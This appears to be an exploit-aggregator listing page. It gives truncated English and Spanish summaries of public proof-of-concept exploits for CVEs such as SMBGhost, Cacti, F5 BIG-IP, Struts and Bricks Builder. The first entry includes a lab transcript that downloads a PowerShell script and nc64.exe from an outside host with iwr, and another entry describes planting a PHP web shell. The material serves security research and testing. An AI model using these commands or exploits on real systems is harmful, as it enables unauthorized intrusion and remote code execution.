checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2024-41997

RCE en Warp Terminal CVE-2024-41997 Inyección de comandos a través del controlador de esquema URI warp:// sin sanitizar. Artículo completo en 0day.gg. Resumen...

FiberBreak

FiberBreak Exploitation framework for CVE-2025-55182 React2Shell - Critical RCE vulnerability in React Server Components. Overview CVE : CVE-2025-55182 CVSS : 10.0 CRITICAL Type : Remote Code Execution RCE Affected : React 19.0.0-rc.0 to 19.0.0, Next.js 15.0.0 to 15.0.3 Discovery : Lachlan Miller...

CVE-2024-28397-Js2Py-RCE

CVE-2024-28397-Js2Py-RCE Descripción Este repositorio contiene una Prueba de Concepto PoC basada en Python para CVE-2024-28397, una vulnerabilidad de escape de sandbox en el intérprete de JavaScript Js2Py para Python. Cuando la aplicación objetivo evalúa código JS no confiable mediante Js2Py, un...

CVE-2025-67886

CVE-2025-67886 Bitrix24 = 25.100.300 Translate Module Remote Code Execution Vulnerability...

CVE-2020-0796-exp

SMBGhostRCEPoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other...

CVE-2024-44871

MoziloCMS = 3.0.1 RCE autenticado Descripción Este script es una herramienta de explotación diseñada para probar aplicaciones web que ejecutan MoziloCMS. Permite a un atacante utilizar credenciales de administrador para subir una web shell PHP mediante un archivo jpg, renombrar el archivo subido ...

CVE-2024-2054

CVE-2024-2054 Aplicación web administrativa de Artica-Proxy: deserialización insegura RCE Una prueba de concepto de exploit para la aplicación web administrativa ARTICA PROXY CVE-2024-2054 Entrada del blog Más detalles aquí:...

CVE-2023-27350

CVE-2023-27350 This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 Build 63914. Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Unauthenticated RCE in Cacti 1.2.22 This repo contains an exploit for CVE-2022-46169, affecting Cacti 1.2.22. This vulnerability allows an unauthenticated attacker to execute arbitrary code on the affected system. If you want a detailed write up of how this exploit is possibl...

CVE-2024-48061

CVE-2024-48061 Langflow vulnerable to remote code execution CVE-2024-48061 poc Usage root@kitploit: python3 poc.py -i -p -l -lp Description This script exploits a vulnerable API endpoint at /api/v1/validate/code on the target web server. It first verifies the presence of the vulnerable path, then...

CVE-2022-1388

CVE-2022-1388 Este repositorio consiste en el código de exploit en Python para CVE-2022-1388 RCE de BIG-IP de F5 usage: exploit.py -h -t TARGET -p PORT -c CMD --ssl opciones: -h, --help muestra este mensaje de ayuda y sale -t TARGET, --target TARGET Especifica la dirección IP/nombre de dominio de...

CVE-2017-11882

CVE-2017-11882 43b script original de https://github.com/embedi/CVE-2017-11882 109b script original de https://github.com/unamer/CVE-2017-11882/ ¡un aplauso, ahora el código de unamer ya puede ejecutar shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/...

CVE-2024-4879

CVE-2024-4879 ServiceNow, una plataforma ampliamente utilizada para la transformación empresarial, ha revelado recientemente tres vulnerabilidades de seguridad críticas que podrían tener graves consecuencias para organizaciones en todo el mundo. Estas vulnerabilidades, identificadas como...

CVE-2017-5638-ApacheStruts2.3.5

CVE-2017-5638-ApacheStruts2.3.5 Un exploit para CVE-2017-5638. Este exploit funciona en las versiones 2.3.5-2.3.31 y 2.5 – 2.5.10 Requisitos optparse, requests Uso Este exploit se puede usar así: root@kitploit: $ python3 CVE-2017-5638ApacheStruts.py -u...

CVE-2024-34310

CVE-2024-34310 CVE-2024-34310 Suggested description Jin Fang Times Content Management System v3.2.3 was discovered to contain a SQL injection vulnerability via the id parameter. Vulnerability Type SQL Injection Vendor of Product https://www.bjjfsd.com/ Affected Product Code Base Jin Fang times...

CVE-2018-4121

CVE-2018-4121 - Exploit RCE de Prueba de Concepto de Secciones Wasm de Safari por MWR Labs c 2018 Detalles este exploit de prueba de concepto apunta únicamente a Safari 11.0.3 13604.5.6 en macOS 10.13.3 17D47. compile el payload de su elección como un dylib con un constructor ejecute python...

CVE-2024-25600-Bricks-Builder-WordPress

CVE-2024-25600 Exploit Tool 🚀 Description 📝 This tool 🛠️ is designed to exploit the CVE-2024-25600 vulnerability 🕳️ found in the Bricks Builder plugin for WordPress. The vulnerability allows for unauthenticated remote code execution on affected websites 💻. The tool automates the exploitation...

CVE-2026-31816

CVE-2026-31816 - Budibase Authentication Bypass to RCE CVE-2026-31816 is a critical authentication and authorization bypass vulnerability affecting Budibase. The vulnerability exists in the server-side authorization middleware responsible for protecting API endpoints. Budibase attempts to identif...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect anterior a la versión 4.4.1 es vulnerable a la ejecución remota de código no autenticada. Tenga en cuenta que esta vulnerabilidad es causada por el parche incompleto de CVE-2023-37679. PRIMERO: NO SOY RESPONSABLE DE LO QUE HAGAS CON ELLO. SEGUNDO:...